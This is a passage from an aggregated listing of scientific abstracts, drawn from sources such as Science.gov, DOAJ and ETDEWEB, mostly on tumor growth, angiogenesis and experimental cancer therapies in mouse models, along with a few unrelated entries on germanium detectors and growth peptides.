tumor growth characteristics was analyzed. Tumor tissues from kidney cancer patients were allowed to grow in mice to apply H&E staining and to measure tumor volume during preclinical phase of our study. Imaging the H&E stained slides under a digital light microscope, the morphological characteristics of nuclei positions were determined. Using artificial intelligence based techniques, Voronoi features were derived from diagrams, where cell nuclei were considered as distinct nodes. By identifying the effect of each Voronoi feature, tumor growth was expressed mathematically. Consistency between the computed growth curves and preclinical measurements indicates that the information obtained from the H&E slides can be used as biomarkers to build personalized mathematical models for tumor growth. PMID:26737283 9. Evaluation of radiolabeled ML04, a putative irreversible inhibitor of epidermal growth factor receptor, as a bioprobe for PET imaging of EGFR-overexpressing tumors Energy Technology Data Exchange (ETDEWEB) Abourbeh, Galith [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Unit of Cellular Signaling, Department of Biological Chemistry, Alexander Silberman Institute of Life Sciences, Hebrew University, Jerusalem 91904 (Israel); Dissoki, Samar [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Jacobson, Orit [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Litchi, Amir [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Daniel, Revital Ben [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Laki, Desirediu [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel); Levitzki, Alexander [Unit of Cellular Signaling, Department of Biological Chemistry, Alexander Silberman Institute of Life Sciences, Hebrew University, Jerusalem 91904 (Israel); Mishani, Eyal [Department of Medical Biophysics and Nuclear Medicine, Hadassah Hebrew University, Jerusalem 91120 (Israel)]. E-mail: mishani@md.huji.ac.il 2007-01-15 Overexpression of epidermal growth factor receptor (EGFR) has been implicated in tumor development and malignancy. Evaluating the degree of EGFR expression in tumors could aid in identifying patients for EGFR-targeted therapies and in monitoring treatment. Nevertheless, no currently available assay can reliably quantify receptor content in tumors. Radiolabeled inhibitors of EGFR-TK could be developed as bioprobes for positron emission tomography imaging. Such imaging agents would not only provide a noninvasive quantitative measurement of EGFR content in tumors but also serve as radionuclide carriers for targeted radiotherapy. The potency, reversibility, selectivity and specific binding characteristics of ML04, an alleged irreversible inhibitor of EGFR, were established in vitro. The distribution of the F-18-labeled compound and the extent of EGFR-specific tumor uptake were evaluated in tumor-bearing mice. ML04 demonstrated potent, irreversible and selective inhibition of EGFR, combined with specific binding to the receptor in intact cells. In vivo distribution of the radiolabeled compound revealed tumor/blood and tumor/muscle activity uptake ratios of about 7 and 5, respectively, 3 h following administration of a radiotracer. Nevertheless, only minor EGFR-specific uptake of the compound was detected in these studies, using either EGFR-negative tumors or blocking studies as controls. To improve the in vivo performance of ML04, administration via prolonged intravenous infusion is proposed. Detailed pharmacokinetic characterization of this bioprobe could assist in the development of a kinetic model that would afford accurate measurement of EGFR content in tumors. 10. Halofuginone Inhibits Angiogenesis and Growth in Implanted Metastatic Rat Brain Tumor Model-an MRI Study Directory of Open Access Journals (Sweden) Rinat Abramovitch 2004-09-01 Full Text Available Tumor growth and metastasis depend on angiogenesis; therefore, efforts are made to develop specific angiogenic inhibitors. Halofuginone (HF is a potent inhibitor of collagen type α1(I. In solid tumor models, HF has a potent antitumor and antiangiogenic effect in vivo, but its effect on brain tumors has not yet been evaluated. By employing magnetic resonance imaging (MRI, we monitored the effect of HF on tumor progression and vascularization by utilizing an implanted malignant fibrous histiocytoma metastatic rat brain tumor model. Here we demonstrate that treatment with HF effectively and dose-dependently reduced tumor growth and angiogenesis. On day 13, HF-treated tumors were fivefold smaller than control (P < .001. Treatment with HF significantly prolonged survival of treated animals (142%; P = .001. In HF-treated rats, tumor vascularization was inhibited by 30% on day 13 and by 37% on day 19 (P < .05. Additionally, HF treatment inhibited vessel maturation (P = .03. Finally, in HF-treated rats, we noticed the appearance of a few clusters of satellite tumors, which were distinct from the primary tumor and usually contained vessel cores. This phenomenon was relatively moderate when compared to previous reports of other antiangiogenic agents used to treat brain tumors. We therefore conclude that HF is effective for treatment of metastatic brain tumors. 11. Co-option of pre-existing vascular beds in adipose tissue controls tumor growth rates and angiogenesis. Science.gov (United States) Lim, Sharon; Hosaka, Kayoko; Nakamura, Masaki; Cao, Yihai 2016-06-21 Many types of cancer develop in close association with highly vascularized adipose tissues. However, the role of adipose pre-existing vascular beds on tumor growth and angiogenesis is unknown. Here we report that pre-existing microvascular density in tissues where tumors originate is a crucial determinant for tumor growth and neovascularization. In three independent tumor types including breast cancer, melanoma, and fibrosarcoma, inoculation of tumor cells in the subcutaneous tissue, white adipose tissue (WAT), and brown adipose tissue (BAT) resulted in markedly differential tumor growth rates and angiogenesis, which were in concordance with the degree of pre-existing vascularization in these tissues. Relative to subcutaneous tumors, WAT and BAT tumors grew at accelerated rates along with improved neovascularization, blood perfusion, and decreased hypoxia. Tumor cells implanted in adipose tissues contained leaky microvessel with poor perivascular cell coverage. Thus, adipose vasculature predetermines the tumor microenvironment that eventually supports tumor growth. 12. VAMP-associated protein B (VAPB) promotes breast tumor growth by modulation of Akt activity. Science.gov (United States) Rao, Meghana; Song, Wenqiang; Jiang, Aixiang; Shyr, Yu; Lev, Sima; Greenstein, David; Brantley-Sieders, Dana; Chen, Jin 2012-01-01 VAPB (VAMP- associated protein B) is an ER protein that regulates multiple biological functions. Although aberrant expression of VAPB is associated with breast cancer, its function in tumor cells is poorly understood. In this report, we provide evidence that VAPB regulates breast tumor cell proliferation and AKT activation. VAPB protein expression is elevated in primary and metastatic tumor specimens, and VAPB mRNA expression levels correlated negatively with patient survival in two large breast tumor datasets. Overexpression of VAPB in mammary epithelial cells increased cell growth, whereas VAPB knockdown in tumor cells inhibited cell proliferation in vitro and suppressed tumor growth in orthotopic mammary gland allografts. The growth regulation of mammary tumor cells controlled by VAPB appears to be mediated, at least in part, by modulation of AKT activity. Overexpression of VAPB in MCF10A-HER2 cells enhances phosphorylation of AKT. In contrast, knockdown of VAPB in MMTV-Neu tumor cells inhibited pAKT levels. Pharmacological inhibition of AKT significantly reduced three-dimensional spheroid growth induced by VAPB. Collectively, the genetic, functional and mechanistic analyses suggest a role of VAPB in tumor promotion in human breast cancer. 13. VAMP-associated protein B (VAPB promotes breast tumor growth by modulation of Akt activity. Directory of Open Access Journals (Sweden) Meghana Rao Full Text Available VAPB (VAMP- associated protein B is an ER protein that regulates multiple biological functions. Although aberrant expression of VAPB is associated with breast cancer, its function in tumor cells is poorly understood. In this report, we provide evidence that VAPB regulates breast tumor cell proliferation and AKT activation. VAPB protein expression is elevated in primary and metastatic tumor specimens, and VAPB mRNA expression levels correlated negatively with patient survival in two large breast tumor datasets. Overexpression of VAPB in mammary epithelial cells increased cell growth, whereas VAPB knockdown in tumor cells inhibited cell proliferation in vitro and suppressed tumor growth in orthotopic mammary gland allografts. The growth regulation of mammary tumor cells controlled by VAPB appears to be mediated, at least in part, by modulation of AKT activity. Overexpression of VAPB in MCF10A-HER2 cells enhances phosphorylation of AKT. In contrast, knockdown of VAPB in MMTV-Neu tumor cells inhibited pAKT levels. Pharmacological inhibition of AKT significantly reduced three-dimensional spheroid growth induced by VAPB. Collectively, the genetic, functional and mechanistic analyses suggest a role of VAPB in tumor promotion in human breast cancer. 14. Inhibition of melanocortin 1 receptor slows melanoma growth, reduces tumor heterogeneity and increases survival. Science.gov (United States) Kansal, Rita G; McCravy, Matthew S; Basham, Jacob H; Earl, Joshua A; McMurray, Stacy L; Starner, Chelsey J; Whitt, Michael A; Albritton, Lorraine M 2016-05-01 Melanoma risk is increased in patients with mutations of melanocortin 1 receptor (MC1R) yet the basis for the increased risk remains unknown. Here we report in vivo evidence supporting a critical role for MC1R in regulating melanoma tumor growth and determining overall survival time. Inhibition of MC1R by its physiologically relevant competitive inhibitor, agouti signaling protein (ASIP), reduced melanin synthesis and morphological heterogeneity in murine B16-F10 melanoma cells. In the lungs of syngeneic C57BL/6 mice, mCherry-marked, ASIP-secreting lung tumors inhibited MC1R on neighboring tumors lacking ASIP in a dose dependent manner as evidenced by a proportional loss of pigment in tumors from mice injected with 1:1, 3:1 and 4:1 mixtures of parental B16-F10 to ASIP-expressing tumor cells. ASIP-expressing B16-F10 cells formed poorly pigmented tumors in vivo that correlated with a 20% longer median survival than those bearing parental B16-F10 tumors (p=0.0005). Mice injected with 1:1 mixtures also showed survival benefit (p=0.0054), whereas injection of a 4:1 mixture showed no significant difference in survival. The longer survival time of mice bearing ASIP-expressing tumors correlated with a significantly slower growth rate than parental B16-F10 tumors as judged by quantification of numbers of tumors and total tumor load (p=0.0325), as well as a more homogeneous size and morphology of ASIP-expressing lung tumors. We conclude that MC1R plays an important role in regulating melanoma growth and morphology. Persistent inhibition of MC1R provided a significant survival advantage resulting in part from slower tumor growth, establishing MC1R as a compelling new molecular target for metastatic melanoma. PMID:27028866 15. Tumor growth and angiogenesis is impaired in CIB1 knockout mice Directory of Open Access Journals (Sweden) Zayed Mohamed A 2010-08-01 Full Text Available Abstract Background Pathological angiogenesis contributes to various ocular, malignant, and inflammatory disorders, emphasizing the need to understand this process more precisely on a molecular level. Previously we found that CIB1, a 22 kDa regulatory protein, plays a critical role in endothelial cell function, angiogenic growth factor-mediated cellular functions, PAK1 activation, MMP-2 expression, and in vivo ischemia-induced angiogenesis. Since pathological angiogenesis is highly dependent on many of these same processes, we hypothesized that CIB1 may also regulate tumor-induced angiogenesis. Methods To test this hypothesis, we allografted either murine B16 melanoma or Lewis lung carcinoma cells into WT and CIB1-KO mice, and monitored tumor growth, morphology, histology, and intra-tumoral microvessel density. Results Allografted melanoma tumors that developed in CIB1-KO mice were smaller in volume, had a distinct necrotic appearance, and had significantly less intra-tumoral microvessel density. Similarly, allografted Lewis lung carcinoma tumors in CIB1-KO mice were smaller in volume and mass, and appeared to have decreased perfusion. Intra-tumoral hemorrhage, necrosis, and perivascular fibrosis were also increased in tumors that developed in CIB1-KO mice. Conclusions These findings suggest that, in addition to its other functions, CIB1 plays a critical role in facilitating tumor growth and tumor-induced angiogenesis. 16. Loss of stromal JUNB does not affect tumor growth and angiogenesis. Science.gov (United States) Braun, Jennifer; Strittmatter, Karin; Nübel, Tobias; Komljenovic, Dorde; Sator-Schmitt, Melanie; Bäuerle, Tobias; Angel, Peter; Schorpp-Kistner, Marina 2014-03-15 The transcription factor AP-1 subunit JUNB has been shown to play a pivotal role in angiogenesis. It positively controls angiogenesis by regulating Vegfa as well as the transcriptional regulator Cbfb and its target Mmp13. In line with these findings, it has been demonstrated that tumor cell-derived JUNB promotes tumor growth and angiogenesis. In contrast to JUNB's function in tumor cells, the role of host-derived stromal JUNB has not been elucidated so far. Here, we show that ablation of Junb in stromal cells including endothelial cells (ECs), vascular smooth muscle cells (SMCs) and fibroblasts does not affect tumor growth in two different syngeneic mouse models, the B16-F1 melanoma and the Lewis lung carcinoma model. In-depth analyses of the tumors revealed that tumor angiogenesis remains unaffected as assessed by measurements of the microvascular density and relative blood volume in the tumor. Furthermore, we could show that the maturation status of the tumor vasculature, analyzed by the SMC marker expression, α-smooth muscle actin and Desmin, as well as the attachment of pericytes to the endothelium, is not changed upon ablation of Junb. Taken together, these results indicate that the pro-angiogenic functions of stromal JUNB are well compensated with regard to tumor angiogenesis and tumor growth. PMID:24027048 17. The Influence of Different Single Radiation Dose on Delayed Growth of Transplanted Tumor in Athymic Mouse Institute of Scientific and Technical Information of China (English) Zhi-zhen WANG; Zhi-yong YUAN; Ping WANG 2010-01-01 OBJECTIVE To reveal the biological effects and effective dosage in radiotherapy model which applies high single-dose irradiation by animal experiment. METHODS We inoculated subcutaneouly human pancreatic carcinoma cell line (MIA PaCa-2) in the lateral of the right lower extremity of the athymic mouse to grow transplantation tumor. While the median diameter of transplantation tumor reached 10 mm approximately, the animals were randomly divided into 7 groups (6 animals per group) and fixed with consciousness for irradiation by different dose in one fraction (0, 2, 5, 10, 17, 25, 35 Gy). All were kept on to be bred for observation of the change in gross tumor volume, calculation of delayed growth time and delayed growth curve. RESULTS With increased dose per fraction, cutaneous reaction on the neoplasma surface of the animal, which was mainly moist yellow effusion was more and more severe. When dosage is less than 10 Gy, all animals showed similar effects, that's the delayed tumor growth was not obvious. Tumors receiving more than 10 Gy in one fraction showed very good biological effect and the delayed tumor growth was obviously related to dosage. The difference in delayed tumor growth between the 2 groups was statistically signifi cant. The delayed tumor growth time in 10, 17, 25 Gy group was respectively 3 weeks, 6 weeks and more. CONCLUSION The biological effect of the model which applies high single-dose irradiation (more than 10 Gy in one fraction) was very good. The effect of delayed tumor growth was obviously related to the dosage after transplantation tumor was radiated. Because of its higher dose per fraction and biological effects, the model of high single-dose irradiation can get be er clinical effects. 18. Effects of Thoracic Paravertebral Block on Postoperative Analgesia and Serum Level of Tumor Marker in Lung Cancer Patients Undergoing Video-assisted Thoracoscopic Surgery OpenAIRE Jiheng CHEN; Zhang, Yunxiao; Huang, Chuan; Chen, Keneng; Fan, Mengying; Zhiyi FAN 2015-01-01 Background and objective Perioperative management of pain associated with the prognosis of cancer patients. Optimization of perio-perative analgesia method, then reduce perioperative stress response, reduce opioiddosage, to reduce or even avoid systemic adverse reactions and elevated levels of tumor markers. Serum levels of tumor markers in patients with lung cancer are closely related to tumor growth. Clinical research reports on regional anesthesia effect on tumor markers for lung cancer ar... 19. Syrbactin Structural Analog TIR-199 Blocks Proteasome Activity and Induces Tumor Cell Death. Science.gov (United States) Bachmann, André S; Opoku-Ansah, John; Ibarra-Rivera, Tannya R; Yco, Lisette P; Ambadi, Sudhakar; Roberts, Christopher C; Chang, Chia-En A; Pirrung, Michael C 2016-04-15 Multiple myeloma is an aggressive hematopoietic cancer of plasma cells. The recent emergence of three effective FDA-approved proteasome-inhibiting drugs, bortezomib (Velcade®), carfilzomib (Kyprolis®), and ixazomib (Ninlaro®), confirms that proteasome inhibitors are therapeutically useful against neoplastic disease, in particular refractory multiple myeloma and mantle cell lymphoma. This study describes the synthesis, computational affinity assessment, and preclinical evaluation of TIR-199, a natural product-derived syrbactin structural analog. Molecular modeling and simulation suggested that TIR-199 covalently binds each of the three catalytic subunits (β1, β2, and β5) and revealed key interaction sites. In vitro and cell culture-based proteasome activity measurements confirmed that TIR-199 inhibits the proteasome in a dose-dependent manner and induces tumor cell death in multiple myeloma and neuroblastoma cells as well as other cancer types in the NCI-60 cell panel. It is particularly effective against kidney tumor cell lines, with >250-fold higher anti-tumor activities than observed with the natural product syringolin A. In vivo studies in mice revealed a maximum tolerated dose of TIR-199 at 25 mg/kg. The anti-tumor activity of TIR-199 was confirmed in hollow fiber assays in mice. Adverse drug reaction screens in a kidney panel revealed no off-targets of concern. This is the first study to examine the efficacy of a syrbactin in animals. Taken together, the results suggest that TIR-199 is a potent new proteasome inhibitor with promise for further development into a clinical drug for the treatment of multiple myeloma and other forms of cancer. 20. Pharmacological inhibition of microsomal prostaglandin E synthase-1 suppresses epidermal growth factor receptor-mediated tumor growth and angiogenesis. Directory of Open Access Journals (Sweden) Federica Finetti Full Text Available BACKGROUND: Blockade of Prostaglandin (PG E(2 production via deletion of microsomal Prostaglandin E synthase-1 (mPGES-1 gene reduces tumor cell proliferation in vitro and in vivo on xenograft tumors. So far the therapeutic potential of the pharmacological inhibition of mPGES-1 has not been elucidated. PGE(2 promotes epithelial tumor progression via multiple signaling pathways including the epidermal growth factor receptor (EGFR signaling pathway. METHODOLOGY/PRINCIPAL FINDINGS: Here we evaluated the antitumor activity of AF3485, a compound of a novel family of human mPGES-1 inhibitors, in vitro and in vivo, in mice bearing human A431 xenografts overexpressing EGFR. Treatment of the human cell line A431 with interleukin-1beta (IL-1β increased mPGES-1 expression, PGE(2 production and induced EGFR phosphorylation, and vascular endothelial growth factor (VEGF and fibroblast growth factor-2 (FGF-2 expression. AF3485 reduced PGE(2 production, both in quiescent and in cells stimulated by IL-1β. AF3485 abolished IL-1β-induced activation of the EGFR, decreasing VEGF and FGF-2 expression, and tumor-mediated endothelial tube formation. In vivo, in A431 xenograft, AF3485, administered sub-chronically, decreased tumor growth, an effect related to inhibition of EGFR signalling, and to tumor microvessel rarefaction. In fact, we observed a decrease of EGFR phosphorylation, and VEGF and FGF-2 expression in tumours explanted from treated mice. CONCLUSION: Our work demonstrates that the pharmacological inhibition of mPGES-1 reduces squamous carcinoma growth by suppressing PGE(2 mediated-EGFR signalling and by impairing tumor associated angiogenesis. These results underscore the potential of mPGES-1 inhibitors as agents capable of controlling tumor growth. 1. Endothelial cell tumor growth is Ape/ref-1 dependent. Science.gov (United States) Biswas, Ayan; Khanna, Savita; Roy, Sashwati; Pan, Xueliang; Sen, Chandan K; Gordillo, Gayle M 2015-09-01 Tumor-forming endothelial cells have highly elevated levels of Nox-4 that release H2O2 into the nucleus, which is generally not compatible with cell survival. We sought to identify compensatory mechanisms that enable tumor-forming endothelial cells to survive and proliferate under these conditions. Ape-1/ref-1 (Apex-1) is a multifunctional protein that promotes DNA binding of redox-sensitive transcription factors, such as AP-1, and repairs oxidative DNA damage. A validated mouse endothelial cell (EOMA) tumor model was used to demonstrate that Nox-4-derived H2O2 causes DNA oxidation that induces Apex-1 expression. Apex-1 functions as a chaperone to keep transcription factors in a reduced state. In EOMA cells Apex-1 enables AP-1 binding to the monocyte chemoattractant protein-1 (mcp-1) promoter and expression of that protein is required for endothelial cell tumor formation. Intraperitoneal injection of the small molecule inhibitor E3330, which specifically targets Apex-1 redox-sensitive functions, resulted in a 50% decrease in tumor volume compared with mice injected with vehicle control (n = 6 per group), indicating that endothelial cell tumor proliferation is dependent on Apex-1 expression. These are the first reported results to establish Nox-4 induction of Apex-1 as a mechanism promoting endothelial cell tumor formation. 2. The Influence of Liver Resection on Intrahepatic Tumor Growth. Science.gov (United States) Brandt, Hannes H; Nißler, Valérie; Croner, Roland S 2016-01-01 The high incidence of tumor recurrence after resection of metastatic liver lesions remains an unsolved problem. Small tumor cell deposits, which are not detectable by routine clinical imaging, may be stimulated by hepatic regeneration factors after liver resection. It is not entirely clear, however, which factors are crucial for tumor recurrence. The presented mouse model may be useful to explore the mechanisms that play a role in the development of recurrent malignant lesions after liver resection. The model combines the easy-to-perform and reproducible techniques of defined amounts of liver tissue removal and tumor induction (by injection) in mice. The animals were treated with either a single laparotomy, a 30% liver resection, or a 70% liver resection. All animals subsequently received a tumor cell injection into the remaining liver tissue. After two weeks of observation, the livers and tumors were evaluated for size and weight and examined by immunohistochemistry. After a 70% liver resection, the tumor volume and weight were significantly increased compared to a laparotomy alone (p number of variables like the length of postoperative observation, the cell line used for injection or the timing of injection and liver resection offer multiple angles when exploring a specific question in the context of post-hepatectomy metastases. The limitations of this procedure are the authorization to perform the procedure on animals, access to an appropriate animal testing facility and acquisition of certain equipment. PMID:27166736 3. Dichloroacetate induces tumor-specific radiosensitivity in vitro but attenuates radiation-induced tumor growth delay in vivo Energy Technology Data Exchange (ETDEWEB) Zwicker, F.; Roeder, F.; Debus, J.; Huber, P.E. [University Hospital Center Heidelberg, Heidelberg (Germany). Dept. of Radiation Oncology; Deutsches Krebsforschungszentrum (DKFZ), Heidelberg (Germany). Clinical Cooperation Unit Molecular Radiation Oncology; Kirsner, A.; Weber, K.J. [University Hospital Center Heidelberg, Heidelberg (Germany). Dept. of Radiation Oncology; Peschke, P. [Deutsches Krebsforschungszentrum (DKFZ), Heidelberg (Germany). Clinical Cooperation Unit Molecular Radiation Oncology 2013-08-15 Background: Inhibition of pyruvate dehydrogenase kinase (PDK) by dichloroacetate (DCA) can shift tumor cell metabolism from anaerobic glycolysis to glucose oxidation, with activation of mitochondrial activity and chemotherapy-dependent apoptosis. In radiotherapy, DCA could thus potentially enhance the frequently moderate apoptotic response of cancer cells that results from their mitochondrial dysfunction. The aim of this study was to investigate tumor-specific radiosensitization by DCA in vitro and in a human tumor xenograft mouse model in vivo. Materials and methods: The interaction of DCA with photon beam radiation was investigated in the human tumor cell lines WIDR (colorectal) and LN18 (glioma), as well as in the human normal tissue cell lines HUVEC (endothelial), MRC5 (lung fibroblasts) and TK6 (lymphoblastoid). Apoptosis induction in vitro was assessed by DAPI staining and sub-G1 flow cytometry; cell survival was quantified by clonogenic assay. The effect of DCA in vivo was investigated in WIDR xenograft tumors growing subcutaneously on BALB/c-nu/nu mice, with and without fractionated irradiation. Histological examination included TUNEL and Ki67 staining for apoptosis and proliferation, respectively, as well as pinomidazole labeling for hypoxia. Results: DCA treatment led to decreased clonogenic survival and increased specific apoptosis rates in tumor cell lines (LN18, WIDR) but not in normal tissue cells (HUVEC, MRC5, TK6). However, this significant tumor-specific radiosensitization by DCA in vitro was not reflected by the situation in vivo: The growth suppression of WIDR xenograft tumors after irradiation was reduced upon additional DCA treatment (reflected by Ki67 expression levels), although early tumor cell apoptosis rates were significantly increased by DCA. This apparently paradoxical effect was accompanied by a marked DCA-dependent induction of hypoxia in tumor-tissue. Conclusion: DCA induced tumor-specific radiosensitization in vitro but not in vivo 4. Growth-Blocking Peptides As Nutrition-Sensitive Signals for Insulin Secretion and Body Size Regulation. Science.gov (United States) Koyama, Takashi; Mirth, Christen K 2016-02-01 In Drosophila, the fat body, functionally equivalent to the mammalian liver and adipocytes, plays a central role in regulating systemic growth in response to nutrition. The fat body senses intracellular amino acids through Target of Rapamycin (TOR) signaling, and produces an unidentified humoral factor(s) to regulate insulin-like peptide (ILP) synthesis and/or secretion in the insulin-producing cells. Here, we find that two peptides, Growth-Blocking Peptide (GBP1) and CG11395 (GBP2), are produced in the fat body in response to amino acids and TOR signaling. Reducing the expression of GBP1 and GBP2 (GBPs) specifically in the fat body results in smaller body size due to reduced growth rate. In addition, we found that GBPs stimulate ILP secretion from the insulin-producing cells, either directly or indirectly, thereby increasing insulin and insulin-like growth factor signaling activity throughout the body. Our findings fill an important gap in our understanding of how the fat body transmits nutritional information to the insulin producing cells to control body size. PMID:26928023 5. Vascular network remodeling via vessel cooption, regression and growth in tumors CERN Document Server Bartha, K 2016-01-01 The transformation of the regular vasculature in normal tissue into a highly inhomogeneous tumor specific capillary network is described by a theoretical model incorporating tumor growth, vessel cooption, neo-vascularization, vessel collapse and cell death. Compartmentalization of the tumor into several regions differing in vessel density, diameter and in necrosis is observed for a wide range of parameters in agreement with the vessel morphology found in human melanoma. In accord with data for human melanoma the model predicts, that microvascular density (MVD, regarded as an important diagnostic tool in cancer treatment, does not necessarily determine the tempo of tumor progression. Instead it is suggested, that the MVD of the original tissue as well as the metabolic demand of the individual tumor cell plays the major role in the initial stages of tumor growth. 6. Liquid phase epitaxial growth and characterization of germanium far infrared blocked impurity band detectors International Nuclear Information System (INIS) Germanium Blocked Impurity Band (BIB) detectors require a high purity blocking layer ( and lt; 10(sup 13) cm(sup -3)) approximately 1 mm thick grown on a heavily doped active layer ((approx) 10(sup 16) cm(sup -3)) approximately 20 mm thick. Epilayers were grown using liquid phase epitaxy (LPE) of germanium out of lead solution. The effects of the crystallographic orientation of the germanium substrate on LPE growth modes were explored. Growth was studied on substrates oriented by Laue x-ray diffraction between 0.02(sup o) and 10(sup o) from the(lbrace)111(rbrace) toward the(lbrace)100(rbrace). Terrace growth was observed, with increasing terrace height for larger misorientation angles. It was found that the purity of the blocking layer was limited by the presence of phosphorus in the lead solvent. Unintentionally doped Ge layers contained(approx)10(sup 15) cm(sup -3) phosphorus as determined by Hall effect measurements and Photothermal Ionization Spectroscopy (PTIS). Lead purification by vacuum distillation and dilution reduced the phosphorus concentration in the layers to(approx) 10(sup 14) cm(sup -3) but further reduction was not observed with successive distillation runs. The graphite distillation and growth components as an additional phosphorus source cannot be ruled out. Antimony ((approx)10(sup 16) cm(sup -3)) was used as a dopant for the active BIB layer. A reduction in the donor binding energy due to impurity banding was observed by variable temperature Hall effect measurements. A BIB detector fabricated from an Sb-doped Ge layer grown on a pure substrate showed a low energy photoconductive onset ((approx)6 meV). Spreading resistance measurements on doped layers revealed a nonuniform dopant distribution with Sb pile-up at the layer surface, which must be removed by chemomechanical polishing. Sb diffusion into the pure substrate was observed by Secondary Ion Mass Spectroscopy (SIMS) for epilayers grown at 650 C. The Sb concentration at the interface dropped 7. Liquid phase epitaxial growth and characterization of germanium far infrared blocked impurity band detectors Energy Technology Data Exchange (ETDEWEB) Bandaru, Jordana 2001-05-12 Germanium Blocked Impurity Band (BIB) detectors require a high purity blocking layer (< 10{sup 13} cm{sup -3}) approximately 1 mm thick grown on a heavily doped active layer ({approx} 10{sup 16} cm{sup -3}) approximately 20 mm thick. Epilayers were grown using liquid phase epitaxy (LPE) of germanium out of lead solution. The effects of the crystallographic orientation of the germanium substrate on LPE growth modes were explored. Growth was studied on substrates oriented by Laue x-ray diffraction between 0.02{sup o} and 10{sup o} from the {l_brace}111{r_brace} toward the {l_brace}100{r_brace}. Terrace growth was observed, with increasing terrace height for larger misorientation angles. It was found that the purity of the blocking layer was limited by the presence of phosphorus in the lead solvent. Unintentionally doped Ge layers contained {approx}10{sup 15} cm{sup -3} phosphorus as determined by Hall effect measurements and Photothermal Ionization Spectroscopy (PTIS). Lead purification by vacuum distillation and dilution reduced the phosphorus concentration in the layers to {approx} 10{sup 14} cm{sup -3} but further reduction was not observed with successive distillation runs. The graphite distillation and growth components as an additional phosphorus source cannot be ruled out. Antimony ({approx}10{sup 16} cm{sup -3}) was used as a dopant for the active BIB layer. A reduction in the donor binding energy due to impurity banding was observed by variable temperature Hall effect measurements. A BIB detector fabricated from an Sb-doped Ge layer grown on a pure substrate showed a low energy photoconductive onset ({approx}6 meV). Spreading resistance measurements on doped layers revealed a nonuniform dopant distribution with Sb pile-up at the layer surface, which must be removed by chemomechanical polishing. Sb diffusion into the pure substrate was observed by Secondary Ion Mass Spectroscopy (SIMS) for epilayers grown at 650 C. The Sb concentration at the interface 8. EXPRESSION OF EPIDERMAL GROWTH FACTOR, TRANSFORMING GROWTH FACTOR-a AND THEIR RECEPTOR IN HUMAN PITUITARY TUMORS Institute of Scientific and Technical Information of China (English) ZHANG; Long 2001-01-01 [1]LIU Xu-wen, FU Pei-yu, GAO Zhi-xian. Expression of epidermal growth factor receptors in human glioma [J]. Chin J Neurosurgery 1998; 14:71.[2]Wong AJ, Ruppert JM, Bigner SH, et al. Structural alterations of the epidermal growth factor receptor gene in human gliomas [J]. Proc Natl Acad Sci USA 1992; 89:4309.[3]Webster J, Ham J, Bevan JS. Preliminary characterization of growth factors secreted by human pituitary tumors [J]. J Clin Endocrinol Metab 1991; 72:687.[4]Klibanski A. Nonsecreting pituitary tumors [J]. Endocrinol Metab Clin North Am 1987; 16:793.[5]LeRiche VK, Asa SL, Ezzat S. Epidermal growth factor and its receptor (EGF-R) in human pituitary adenomas: EGF-R correlates with tumor aggressiveness [J]. J Clin Endocrinol Metab 1996; 81:656. 9. Blocking transforming growth factor- receptor signaling down-regulates transforming growth factor-β1 autoproduction in keloid fibroblasts Institute of Scientific and Technical Information of China (English) 刘伟; 蔡泽浩; 王丹茹; 武小莉; 崔磊; 商庆新; 钱云良; 曹谊林 2002-01-01 Objective: To study transforming growth factor-β1(TGF-β1) autoproduction in keloid fibroblasts and theregulation effect of blocking TGF-β intracellular signalingon rhTGF-β1 autoproduction.Methods: Keloid fibroblasts cultured in vitro weretreated with either rhTGF-β1 (5 ng/ml ) or recombinantadenovirus containing a truncated type II TGF-β receptorgene (50 pfu/cell ). Their effects of regulating geneexpression of TGF-β1 and its receptor I and II wereobserved with Northern blot.Results: rhTGF-β1 up-regulated the gene expressionof TGF-β1 and receptor I, but not receptor II. Over-expression of the truncated receptor II down-regulated thegene expression of TGF-β1 and its receptor I, but notreceptor II.Conclusions: TGF-β1 autoproduction was observed inkeloid fibroblasts. Over-expression of the truncated TGF-βreceptor H decreased TGF-β1 autoproduction via blockingTGF-β receptor signaling. 10. Novel epigenetic markers of early epithelial tumor growth and prognosis OpenAIRE Gordiyuk V. V.; Kondratov A. G.; Gerashchenko G. V.; Kashuba V. I. 2013-01-01 The present work is aimed at clarifying genetic and epigenetic alterations that occur during carcinogenesis and designing perspective sets of newly identified biomarkers. The tumors of kidney, cervix, colon, ovary, and lung were analyzed in our work, using the chromosome 3 specific NotI microarrays (NMA). We have found loci/genes with essential changes in gene methylation of tumor samples. Changes in expression for these genes were confirmed. The Not-I microarray results have been used to dev... 11. Sensitivity of fibroblast growth factor 23 measurements in tumor-induced osteomalacia DEFF Research Database (Denmark) Imel, Erik A; Peacock, Munro; Pitukcheewanont, Pisit; 2006-01-01 Tumor-induced osteomalacia (TIO) is a paraneoplastic syndrome of hypophosphatemia, decreased renal phosphate reabsorption, normal or low serum 1,25-dihydryxyvitamin-D concentration, myopathy, and osteomalacia. Fibroblast growth factor 23 (FGF23) is a phosphaturic protein overexpressed in tumors... 12. Comparing immune-tumor growth models with drug therapy using optimal control Science.gov (United States) Martins, Marisa C.; Rocha, Ana Maria A. C.; Costa, M. Fernanda P.; Fernandes, Edite M. G. P. 2016-06-01 In this paper we compare the dynamics of three tumor growth models that include an immune system and a drug administration therapy using optimal control. The objective is to minimize a combined function of the total of tumor cells over time and a chemotherapeutic drug administration. 13. Adiponectin deficiency promotes tumor growth in mice by reducing macrophage infiltration. Science.gov (United States) Sun, Yutong; Lodish, Harvey F 2010-08-05 14. Adiponectin deficiency promotes tumor growth in mice by reducing macrophage infiltration. Directory of Open Access Journals (Sweden) Yutong Sun 15. Functional analysis of tumor cell growth and clearance in living animals Science.gov (United States) Sweeney, Thomas J.; Mailaender, V.; Tucker, Amanda A.; Olomu, A. B.; Zhang, Weisheng; Negrin, Robert S.; Contag, Christopher H. 1999-07-01 Evaluation of antineoplastic therapies would be enhanced by sensitive methods that noninvasively asses both tumor location and neoplastic growth kinetics in living animals. Since light is transmitted through mammalian tissues, it was possible to externally 